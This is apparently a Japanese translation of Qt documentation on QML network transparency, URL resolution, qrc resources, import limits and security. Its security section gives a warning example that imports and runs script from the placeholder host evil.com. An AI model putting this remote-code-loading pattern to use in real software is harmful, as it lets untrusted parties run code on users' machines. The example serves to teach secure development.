リソースの読み込みとネットワーク透過性
QML は、QML ドキュメントから他のコンテンツへのすべての参照にファイル名ではなく URL を使用することで、ネットワーク透過性をサポートしています。つまり、URL ソースが指定される場所であればどこでも、QML はローカルリソースと同様にリモートリソースも扱うことができます。例えば、次の画像ソースの場合です:
Image {
source: "http://www.example.com/images/logo.png"
}相対URLは相対ファイルと同じであるため、通常のファイルシステム上でのQMLの開発は引き続き簡単です:
Image {
source: "images/logo.png"
}ネットワーク透過性はQML全体でサポートされており、例えば、`FontLoader `要素と`Image`要素の両方が、リモートサーバーからのリソース読み込みをサポートしています。
QML タイプ自体もネットワーク上に存在することができます。qml ツールを使用して http://example.com/mystuff/Hello.qml を読み込み、そのコンテンツが「World」というタイプを参照している場合、エンジンはhttp://example.com/mystuff/qmldir を読み込み、ローカルファイルの場合と同様にそのタイプを解決します。 たとえば、qmldir ファイルに「World World.qml」という行が含まれている場合、http://example.com/mystuff/World.qml が読み込まれます。Hello.qml が(通常は相対 URL によって)参照しているその他のリソースも、同様にネットワークから読み込まれます。WorkerScript で使用されるリモート JavaScript ファイルについても同様です。
警告: QML および JavaScript リソースは、信頼できるリモート場所からのみ読み込む必要があります。信頼できないソースからのデータ処理に関する注意事項を参照してください。
相対URLと絶対URL
オブジェクトに URL 型のプロパティ (QUrl) がある場合、そのプロパティに文字列を代入すると、実際には絶対 URL が割り当てられます。これは、その文字列が使用されているドキュメントの URL に対して、その文字列を解決することで行われます。
たとえば、http://example.com/mystuff/test.qml 内の以下のコンテンツを考えてみましょう。
Image {
source: "images/logo.png"
}Image の source プロパティにはhttp://example.com/mystuff/images/logo.png が割り当てられますが、QML の開発中、たとえばC:\User\Fred\Documents\MyStuff\test.qml では、C:\User\Fred\Documents\MyStuff\images\logo.png が割り当てられます。
URLに割り当てられた文字列がすでに絶対URLである場合、「解決」処理によって変更されることはなく、そのURLが直接割り当てられます。
QRCリソース
Qt に組み込まれている URL スキームの一つに「qrc」スキームがあります。これにより、Qt リソースシステムを使用してコンテンツを実行ファイルにコンパイルすることができます。これを使用すると、実行ファイルは、その実行ファイルにコンパイルされた QML コンテンツを参照することができます。
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));コンテンツ自体は相対URLを使用できるため、コンテンツが実行ファイルにコンパイルされていることを意識することなく、透過的に動作します。
制限事項
import 文は、「as」節が含まれている場合にのみ、ネットワーク透過的となります。
具体的には:
import "dir"ローカルファイルシステムでのみ動作するimport libraryUriローカルファイルシステムでのみ動作しますimport "dir" as Dネットワーク透過的に動作するimport libraryUrl as Uネットワーク透過的に動作する
アプリケーションセキュリティへの影響
QMLのセキュリティモデルでは、QMLコンテンツは信頼されたコンテンツの連鎖として扱われます。ユーザーは、ネイティブのQtアプリケーションや、PythonやPerlなどのランタイムで記述されたプログラムをインストールするのと同じように、信頼できるQMLコンテンツをインストールします。この信頼関係は、一部のプラットフォームにおけるパッケージ署名の利用可能性など、さまざまなメカニズムによって確立されます。
ユーザーの信頼を維持するため、QMLアプリケーションの開発者は、任意のJavaScriptやQMLリソースを読み込んで実行してはなりません。例えば、以下のQMLコードを考えてみましょう。
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
}これは、「http://evil.com/evil.exe」をダウンロードして実行することと同等です。QMLエンジンは、特定のリソースが読み込まれることを阻止しません。Webブラウザ内で実行されるJavaScriptコードとは異なり、QMLアプリケーションは他のネイティブアプリケーションと同様に、リモートまたはローカルのファイルシステム上のリソースを読み込むことができるため、アプリケーション開発者はコンテンツの読み込みや実行に細心の注意を払う必要があります。
制御の及ばない他のコンテンツにアクセスするあらゆるアプリケーションと同様に、QMLアプリケーションも、読み込む信頼できないデータに対して適切なチェックを行う必要があります。たとえば、import 、Loader 、またはXMLHttpRequestを使用して、信頼できないコードやコンテンツを読み込まないでください。
© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.